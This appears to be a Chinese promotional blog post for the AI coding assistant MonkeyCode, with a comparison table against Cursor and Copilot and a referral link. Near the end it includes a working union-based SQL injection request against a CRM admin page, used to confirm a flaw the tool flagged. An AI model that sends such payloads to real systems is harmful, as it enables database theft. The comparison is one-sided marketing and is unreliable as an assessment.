目前市面上现状:现在的程序员都在用 AI,不用就像骑马追高铁。大家都在谈论 Cursor,那个“Tab 一下代码全写好”的感觉太爽了,但是!Cursor 经常连不上(网络问题),而且作为公司技术负责人,你敢把公司核心代码传到美国服务器吗?难道我们就没有一个既聪明(模型强)、又听话(私有化)、还安全(自带扫描)的国产替代吗?
隆重介绍 MonkeyCode —— 长亭科技出品,自带黑客基因的 AI 编程助手。
官网地址:https://monkeycode-ai.com/
注册地址:https://monkeycode-ai.com/?ic=019c094c-0cc7-7cda-8aac-f7411a97355f
monkeycode与市场ai对比分析:
| 维度 | MonkeyCode | Cursor | GitHub Copilot | 分析与洞察 |
| 核心定位 | 企业级安全研发平台 | 个人极客的 AI 编辑器 | 通用 AI 编程助手 | Cursor 强在 C 端体验,Copilot 强在生态,MonkeyCode 强在 B 端管控与安全。 |
| 服务可用性 | 完全可用(针对国内优化) | 受限/不稳定(存在封禁风险) | 可用(但依赖微软服务器) | 对于国内企业,Cursor 的不确定性是最大的隐没成本(Sunk Cost)。 |
| 数据隐私 | 私有化/本地部署(物理隔离) | 云端为主(隐私模式仍需联网) | 云端(企业版有部分保障) | MonkeyCode 是唯一真正实现“物理隔绝”的主流方案。 |
| 模型支持 | 灵活切换(DeepSeek, Qwen, Kimi) | 绑定 Claude/GPT-4 | 绑定 GPT 系列 | MonkeyCode 允许利用国产模型的高性价比优势,规避 OpenAI 的限流。 |
| 安全能力 | 内建长亭扫描引擎(SAST) | 依赖外部插件 | 依赖 GitHub Advanced Security | MonkeyCode 将安全能力作为“出厂设置”,而非“选装包”。 |
| 成本结构 | 开源/免费版 + 企业定制 | 订阅制 ($20/月) | 订阅制 ($10-$19/月) | 开源核心大大降低了尝试门槛,适合预算敏感型团队。 |
| 管理功能 | 细粒度审计、资源配额 | Team 版功能较基础 | 企业版功能强大 | MonkeyCode 的管理面板专为中国式管理需求(审计、合规)设计。 |
2.设计模式:进行架构设计,输出技术方案与设计文档例子:
- 点击执行,会有两种大模型选择(一个免费,一个消耗token),可以根据自己的实际情况进行选择,然后继续下一步就行()。成功执行后,如果代码量足够大monkeycode是会自己检测一遍有没有可能存在哪些漏洞或者风险
我们继续验证第二个:
poc:
GET /crm/admin/quote-details.php?id=1'%20UNION%20SELECT%201,2,3,4,5,6,7,8,version(),database(),user(),12,13,14,15,16,17,18,19,20,21,22,23%20--%20- HTTP/1.1
Host: victim
Cookie: PHPSESSID=...
验证截图:
等等,后面的poc就不继续测试了。
咱今天的分享就到这了,此次是纯使用思路分享,请勿对其他企业进行渗透测试,最后分享一下注册地址:
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